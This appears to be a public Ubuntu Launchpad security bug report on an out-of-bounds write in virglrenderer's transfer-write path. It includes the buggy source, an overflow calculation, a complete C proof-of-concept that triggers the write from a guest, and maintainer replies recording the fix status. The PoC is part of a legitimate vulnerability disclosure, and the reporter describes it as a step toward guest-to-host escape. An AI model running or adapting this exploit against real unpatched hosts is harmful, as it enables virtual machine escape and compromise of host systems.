OOB write in the vrend_renderer_transfer_write_iov on virglrenderer

Bug #1950939 reported by Jun Yao
258
This bug affects 1 person
Affects Status Importance Assigned to Milestone
virglrenderer (Ubuntu)
Fix Released
Undecided
Unassigned
Bionic
Triaged
Undecided
Unassigned
Focal
Fix Released
Undecided
Unassigned
Impish
Fix Released
Undecided
Unassigned

Bug Description

Env
===
  Description: Ubuntu 20.04.3 LTS
  Release: 20.04

Package
=======
  virglrenderer_0.8.2

Vulnerability
=============
The send_size calculated in the vrend_renderer_transfer_write_iov() is
different from it in the read_transfer_data(). Which causes the OOB problem.

We can escape from guest to run code in the host by using this bug & Bug #1950784.

Specifically, the vrend_renderer_transfer_write_iov() calculates the
send_size as following:

------------------------------------------------------------
src/vrend_renderer.c

vrend_renderer_transfer_write_iov()
|
| elsize = util_format_get_blocksize(res->base.format);
| send_size = util_format_get_nblocks(res->base.format,
| info->box->width,
| info->box->height) * elsize;
| if (res->target == GL_TEXTURE_3D ||
| res->target == GL_TEXTURE_2D_ARRAY ||
| res->target == GL_TEXTURE_CUBE_MAP_ARRAY)
| send_size *= info->box->depth;
|
| data = malloc(send_size);
| read_transfer_data(data, ...);
------------------------------------------------------------

The depth is considered only if the target is 3D/2D_ARRAY/CUBE_MAP_ARRAY.
If the target does not belong to these types, the depth is not included
in the send_size.

To make the result more clear, I unfold the calculation:

    send_size = util_format_get_nblocksx(format, box->width) *
                util_format_get_nblocksy(format, box->height) *
                util_format_get_blocksize(res->base.format)

However, the read_transfer_data() do consider the depth no matter with
the type of target:

------------------------------------------------------------
read_transfer_data()
|
| blsize = util_format_get_blocksize(format)
| send_size = util_format_get_nblocks(format, box->width,
| box->height) * blsize * box->depth
| bwx = util_format_get_nblocksx(format, box->width) * blsize
| bh = util_format_get_nblocksy(format, box->height)
|
| for (d = 0; d < box->depth; d++) {
| uint32_t myoffset = offset + d * src_layer_stride;
| for (h = 0; h < bh; h++) {
| void *ptr = data + (h * bwx) + d * (bh * bwx);
| vrend_read_from_iovec(iov, num_iovs, myoffset, ptr, bwx);
| myoffset += src_stride;
| }
| }
------------------------------------------------------------

The calculation of send_size is as following:

    send_size = util_format_get_nblocksx(format, box->width) *
                util_format_get_nblocksy(format, box->height) *
                util_format_get_blocksize(res->base.format) *
                box->depth

The result of it is larger than it in the vrend_renderer_transfer_write_iov().
But, this function does not use it. Instead, it introduce the bwx and bh:

I unfold the calculation of bwx:

    bwx = util_format_get_nblocksx(format, box->width) *
          util_format_get_blocksize(res->base.format)

In the loop, we assume the variables have the following value:

    d = box->depth - 1
    h = bh - 1

And the ptr is:

    ptr = data + (h * bwx) + d * (bh * bwx)
    ptr = data + ((bh - 1) * bwx) + (box->depth - 1) * (bh * bwx)
    ptr = data + (bh * bwx) - bwx + (box->depth - 1) * (bh * bwx)
    ptr = data + box->depth * (bh * bwx) - bwx

And the copy length is:

    len = bwx

So the upper bound is:

    ptr + len = data + box->depth * (bh * bwx) - bwx + bwx
    ptr + len = data + box->depth * (bh * bwx)

The total length is:

    len = box->depth * (bh * bwx)
    len = box->depth * (send_size) // the data length
    len > send_size // OOB write

The PoC is as following:

#define VIRTIO_DEV "/dev/dri/renderD128"
#define WIDTH 8
#define HEIGHT 4
#define IMG_DATA_SIZE (0xffff)
#define IMG_SIZE ((IMG_DATA_SIZE+1) * 4)

static int is_virgl_3d(int dev)
{
 int ret;
 int virgl = 0;
 struct drm_virtgpu_getparam param = {};

 param.param = VIRTGPU_PARAM_3D_FEATURES;
 param.value = (unsigned long)&virgl;
 ret = ioctl(dev, DRM_IOCTL_VIRTGPU_GETPARAM, &param);
 if (ret == -1)
  ERR("DRM_IOCTL_VIRTGPU_GETPARAM");
 return virgl;
}

static int virgl_create_resource(int dev)
{
 int ret;
 struct drm_virtgpu_resource_create resource = {};

 resource.target = PIPE_TEXTURE_2D_ARRAY;
 resource.format = VIRGL_FORMAT_Z24X8_UNORM;
 resource.nr_samples = 2;
 resource.last_level = 0;
 resource.array_size = 3;
 resource.bind = VIRGL_BIND_SAMPLER_VIEW;
 resource.depth = 1;
 resource.width = WIDTH;
 resource.height = HEIGHT;
 resource.size = 4096;
 resource.flags = 0;

 ret = ioctl(dev, DRM_IOCTL_VIRTGPU_RESOURCE_CREATE, &resource);
 if (ret == -1) {
  ERR("DRM_IOCTL_VIRTGPU_RESOURCE_CREATE");
  return -1;
 }
 return resource.res_handle;
}

static int virgl_fill_header(uint32_t *ptr, uint32_t len, uint8_t type)
{
 *ptr = (len << 16) | (type & 0xff);
 return sizeof(uint32_t);
}

static int virgl_execbuffer(int dev, int res_hdl)
{
 int ret;
 uint32_t len, total_len = 0;
 uint32_t *ptr = NULL;
 char *buf;
 struct drm_virtgpu_execbuffer execbuf = {};

 buf = malloc(IMG_SIZE);
 if (buf == NULL) {
  ERR("malloc()");
  return -1;
 }

 memset(buf, 0x12, IMG_SIZE);
 execbuf.flags = 0;
 execbuf.bo_handles = 0;
 execbuf.num_bo_handles = 0;
 execbuf.fence_fd = 0;
 execbuf.command = (unsigned long)buf;

 ptr = (uint32_t*)buf;
 len = 0;
 *(ptr + VIRGL_RESOURCE_IW_RES_HANDLE) = res_hdl;
 *(ptr + VIRGL_RESOURCE_IW_LEVEL) = 0;
 *(ptr + VIRGL_RESOURCE_IW_USAGE) = 0;
 *(ptr + VIRGL_RESOURCE_IW_STRIDE) = 0;
 *(ptr + VIRGL_RESOURCE_IW_LAYER_STRIDE) = 0;
 *(ptr + VIRGL_RESOURCE_IW_X) = 0;
 *(ptr + VIRGL_RESOURCE_IW_Y) = 0;
 *(ptr + VIRGL_RESOURCE_IW_Z) = 0;
 *(ptr + VIRGL_RESOURCE_IW_W) = WIDTH;
 *(ptr + VIRGL_RESOURCE_IW_H) = HEIGHT;
 *(ptr + VIRGL_RESOURCE_IW_D) = 3;
 len = IMG_SIZE/4 - 1;
 LOG("data len=%#x\n", len);
 virgl_fill_header(ptr, len, VIRGL_CCMD_RESOURCE_INLINE_WRITE);
 LOG("data header=%#x\n", *ptr);
 execbuf.size = IMG_SIZE;

 ret = ioctl(dev, DRM_IOCTL_VIRTGPU_EXECBUFFER, &execbuf);
 if (ret == -1)
  ERR("DRM_IOCTL_VIRTGPU_EXECBUFFER");
 free(buf);
 return ret;
}

int main(void)
{
 int dev;
 int res_hdl;

 dev = open(VIRTIO_DEV, O_RDONLY);
 if (dev == -1) {
  ERR("open %s", VIRTIO_DEV);
  return 0;
 }

 if (!is_virgl_3d(dev)) {
  LOG("virgl_3d is NOT enabled\n");
  goto out_dev;
 }

 res_hdl = virgl_create_resource(dev);
 if (res_hdl == -1)
  goto out_dev;
 LOG("resource_handle=%d\n", res_hdl);
 virgl_execbuffer(dev, res_hdl);
out_dev:
 close(dev);
 return 0;
}

CVE References

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

Hi,

Have you reported this issue to the virglrenderer developers?

If not, please report it to them. The bug tracker is here:

https://gitlab.freedesktop.org/virgl/virglrenderer/-/issues

Once you have done that, please let us know the bug number and once a fix is available we will package it for Ubuntu.

Thanks!

Revision history for this message
Jun Yao (2freeman) wrote :
Revision history for this message
Jun Yao (2freeman) wrote :
Revision history for this message
Steve Beattie (sbeattie) wrote (last edit ):

This was fixed in https://ubuntu.com/security/notices/USN-5309-1 for focal and newer; it is unfixed in bionic where virglrenderer is community maintained.

(Edited to fix USN URL.)

Changed in virglrenderer (Ubuntu):
status: New → Fix Released
Changed in virglrenderer (Ubuntu Bionic):
status: New → Confirmed
status: Confirmed → Triaged
Changed in virglrenderer (Ubuntu Focal):
status: New → Fix Released
Changed in virglrenderer (Ubuntu Impish):
status: New → Fix Released
information type: Private Security → Public Security
tags: added: community-security
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.